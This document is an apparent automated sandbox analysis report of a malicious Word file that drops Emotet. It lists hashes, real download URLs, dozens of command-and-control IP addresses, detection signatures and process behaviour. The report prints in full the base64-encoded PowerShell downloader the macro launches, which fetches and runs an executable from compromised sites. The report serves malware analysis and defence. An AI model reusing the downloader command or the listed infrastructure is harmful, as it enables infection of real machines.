Analysis
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max time kernel
114s -
max time network
150s -
platform
windows7_x64 -
resource
win7 -
submitted
02-08-2020 07:36
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.13645.25067.4399.doc
Resource
win7
General
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Target
SecuriteInfo.com.Exploit.Siggen2.13645.25067.4399.doc
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Size
172KB
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MD5
583da66b87c441323cb85e2585a7af92
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SHA1
72d3ed056c0cc6ca9cae1c80ce2cd37f05b33b07
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SHA256
4bd4448e06404510ab9d35c4f13fca11bfb149a3063e4778493a5fbe17fbd561
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SHA512
19eb9967f852f0b3510b48341dae050273817d0741edddb9fec4c931395b2d5767e9e38e59d921ec88224cd575e61f8afac36e74b4e9c8be6d955836b9eb7c84
Malware Config
Extracted
http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/
http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/
http://my6thgen.org/_db_backups/t_e_v7qizcr2/
http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/
http://www.naayers.org/Library/o_eo_97ml/
Extracted
emotet
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
113.160.130.116:8443
190.160.53.126:80
62.75.141.82:80
46.105.131.87:80
203.153.216.189:7080
46.105.131.79:8080
91.231.166.124:8080
81.2.235.111:8080
189.212.199.126:443
95.9.185.228:443
169.239.182.217:8080
47.153.182.47:80
116.203.32.252:8080
139.130.242.43:80
75.139.38.211:80
41.60.200.34:80
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
173.91.22.41:80
70.167.215.250:8080
110.145.77.103:80
85.59.136.180:8080
5.196.74.210:8080
24.234.133.205:80
76.27.179.47:80
104.131.11.150:443
87.106.136.232:8080
61.19.246.238:443
201.173.217.124:443
176.111.60.55:8080
200.55.243.138:8080
74.208.45.104:8080
139.59.60.244:8080
67.241.24.163:8080
24.43.99.75:80
93.51.50.171:8080
109.74.5.95:8080
137.59.187.107:8080
37.139.21.175:8080
157.245.99.39:8080
124.45.106.173:443
47.146.117.214:80
95.213.236.64:8080
62.138.26.28:8080
190.55.181.54:443
24.179.13.119:80
152.168.248.128:443
222.214.218.37:4143
168.235.67.138:7080
181.230.116.163:80
121.124.124.40:7080
79.98.24.39:8080
37.187.72.193:8080
162.154.38.103:80
78.24.219.147:8080
200.41.121.90:80
185.94.252.104:443
50.116.86.205:8080
Signatures
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Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1208-11-0x00000000002B0000-0x00000000002BC000-memory.dmp emotet behavioral1/memory/1208-11-0x00000000002B0000-0x00000000002BC000-memory.dmp emotet behavioral1/memory/1908-14-0x00000000002F0000-0x00000000002FC000-memory.dmp emotet behavioral1/memory/1908-14-0x00000000002F0000-0x00000000002FC000-memory.dmp emotet -
Office loads VBA resources, possible macro or embedded object present
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1052 1092 powersheLL.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
659.exedescription pid process target process PID 1208 wrote to memory of 1908 1208 659.exe KBDUSL.exe PID 1208 wrote to memory of 1908 1208 659.exe KBDUSL.exe PID 1208 wrote to memory of 1908 1208 659.exe KBDUSL.exe PID 1208 wrote to memory of 1908 1208 659.exe KBDUSL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1052 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powersheLL.exeKBDUSL.exepid process 1052 powersheLL.exe 1052 powersheLL.exe 1908 KBDUSL.exe 1908 KBDUSL.exe 1908 KBDUSL.exe 1908 KBDUSL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 5 1052 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
659.exeKBDUSL.exepid process 1208 659.exe 1908 KBDUSL.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C9B7D220-E00F-444E-9551-16BE7D8966BA}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C9B7D220-E00F-444E-9551-16BE7D8966BA}\2.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{C9B7D220-E00F-444E-9551-16BE7D8966BA}\2.0\FLAGS\ = "6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C9B7D220-E00F-444E-9551-16BE7D8966BA}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE -
Drops file in System32 directory 2 IoCs
Processes:
powersheLL.exe659.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe File opened for modification C:\Windows\SysWOW64\WPDSp\KBDUSL.exe 659.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 316 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
WINWORD.EXE659.exeKBDUSL.exepid process 316 WINWORD.EXE 316 WINWORD.EXE 1208 659.exe 1908 KBDUSL.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13645.25067.4399.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in System32 directory
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C:\Users\Admin\659.exeC:\Users\Admin\659.exe1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\WPDSp\KBDUSL.exe"C:\Windows\SysWOW64\WPDSp\KBDUSL.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\659.exe
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C:\Users\Admin\659.exe
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C:\Windows\SysWOW64\WPDSp\KBDUSL.exe
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memory/316-2-0x00000000089E0000-0x00000000089E4000-memory.dmpFilesize
16KB
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memory/316-4-0x0000000006E60000-0x0000000007060000-memory.dmpFilesize
2.0MB
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memory/316-5-0x000000000AED0000-0x000000000AED4000-memory.dmpFilesize
16KB
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memory/316-6-0x000000000BF50000-0x000000000BF54000-memory.dmpFilesize
16KB
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memory/1208-11-0x00000000002B0000-0x00000000002BC000-memory.dmpFilesize
48KB
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memory/1908-12-0x0000000000000000-mapping.dmp
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memory/1908-14-0x00000000002F0000-0x00000000002FC000-memory.dmpFilesize
48KB